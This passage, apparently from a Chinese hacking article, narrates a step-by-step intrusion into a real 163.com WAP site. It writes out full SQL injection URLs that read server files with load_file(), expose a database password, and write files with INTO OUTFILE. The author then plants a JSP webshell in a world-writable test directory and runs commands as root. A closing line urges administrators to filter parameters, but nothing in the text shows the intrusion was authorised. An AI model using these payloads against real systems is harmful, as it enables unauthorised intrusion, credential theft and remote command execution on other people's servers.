看来是写文件和读文件都成功了!有File权限哦,在jsp环境下不受php下那种特性的影响可以在权限允许的范围之内随便写文件!既然权限有了,来判断下web和Mysql服务器是不是一个主机吧,是的话又可以免去猜测密码的痛苦了!web路径出来了那么我们就读web服务器上存在的文件,如果存在的话就应该是一个主机啦!提交:
http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2,3,4,5,user(),database(),8,9,load_file('/home/project/web163/web/content.jsp')/*

读取我们的content.jsp,哈哈,如图9

9.jpg - 文件大小161.1KB (点击缩略图放大查看)

,成功返回啦!然后再读了几个文件都成功返回,说明是一个服务器哦!既然这样就客气啦!继续读吧!我们感兴趣的东西当然是密码了!查看刚才返回的源文件,我们发现里面包含了Function.jsp,于是去读Function.jsp的内容,提交:

http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2,3,4,5,user(),database(),8,9,load_file('/home/project/web163/web/function.jsp')/*
返回结果如图10

10.jpg - 文件大小142.5KB (点击缩略图放大查看)

哈哈,看源文件得到了密码哦!得到了密码我们就去连接试试吧!打开自己的Mysql客户端连接上去,输入得到的密码结果如图11

11.jpg - 文件大小33.2KB (点击缩略图放大查看)

Mysql拒绝了其他IP的登陆!虽然不能连Mysql但是我们不是已经有个注入点了么?还能写文件和读文件呢,那么就、从脚本上继续前进吧!
既然知道了web路径,又能写文件,那么能不能用into outfile导出一个webshell呢?试试吧!提交:

http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2,3,4,5,6,7,8,9,10 into outfile '/home/project/web163/web/jnc.jsp'/*
但是结果很另人郁闷,写到/tmp/下就好用,写到web目录下不行,试了很多次都是这个结果,看来是权限的原因了!Linux很大的一个优点就是权限设置得很好,默认只有创建者才有权限修改文件,我们用的用户是Mysql的,当然不能在apache的目录下建立文件了!到这里入侵遇到了第一个阻碍,并且暂时没有办法解决!
我们是搞脚本安全的,一条路不行就还是回到脚本上来吧!去根目录加了个/admin提示403Forbiden错误,哈哈,这个是管理目录了!于是兴冲冲的提交login.jsp和login.html以及所有我觉得可能的后台登陆文件,但服务器都无情的给我一个404错误,那个郁闷哟!想从其他的后台得到点启示,猜测出后台的登陆路径,但是还是找不到后台的登陆文件,这条路也死在这里了!
到这里应该停下来想想了!听了会周杰伦的歌,忽然想到,Linux服务器本身是很安全的,但是不知道会不会存在人为的安全漏洞呢?我在一些其他的大点的网站上经常看到除了一些常用的目录之外,管理员还设置了test目录方便其他管理员调试脚本,并且这个目录的权限通常是设置成777的,也就是说Everyone可读可写的,如果存在这样的目录的话就......马上去网站上提交:

http://XXX.163.com/test/
404不存在
http://XXX.163.com/wap/test/
403 Forbidden,哈哈,真是CS暴头的感觉,居然存在啊!马上去提交:

http://XXX.163.com/wap/content.jsp?id=120 and 1=2 union select 1,2,3,4,5,6,7,8,9,10 into outfile '/home/project/web163/web/test/jnc.txt'/*
等到返回错误的时候去访问http://XXX.163.com/wap/test/jnc.txt如图12

12.jpg - 文件大小51.2KB (点击缩略图放大查看)

,哈哈,存在啊!看来真让我发现一个人为的安全隐患啊!这就是经验了!好了,可以导出为txt文件,那么导出成Php文件如何呢?去写了一个一句话木马导出成php文件,访问这个Php文件居然提示下载,看来web目录只支持jsp后缀的啦,那么我们只能导出成jsp文件了!于是马上去找jsp后门,找来找去找到个最短的如下:



就是能执行个命令,执行形式是在Url里访问jnc.jsp?cmd=命令,因为我们是用into outfile导文件并且是在union查询里用的,所以要导出的内容必须在union的最后面,否则是不能得到我们结果的哦,在导之前我们还要将jsp的语句写到一行,不影响jsp的执行但是方便我们导出嘛!再看看,发现字符好象太长,Get可能满足不了要求,于是干脆自己写个Html吧!内容如下:



然后提交栏里写上:

120 and 1=2 union select 1,2,3,4,5,6,7,8,9,'写在一行的
木马语句' into outfile '/home/project/web163/web/test/jnc.jsp'/*,如图13

13.jpg - 文件大小63.7KB (点击缩略图放大查看)

点提交之后我们去test目录看看,哈哈,我们的木马真的存在啦!提交:

http://XXX.163.com/wap/test/jsp3.jsp?cmd=id
返回结果如图14

14.jpg - 文件大小58.5KB (点击缩略图放大查看)

哈哈居然是用Root启动的,权限是最大的啦!省得我们提权了!到此,对163.com的一次安全检测结束了!
通过上面的例子我们可以看到,尽管是小小的一个参数没有过滤,加上一些其他的安全原因,导致的结果可能就是服务器的沦陷,不仅仅是163.com的管理员要注意这个,希望所有的管理员都注意这个。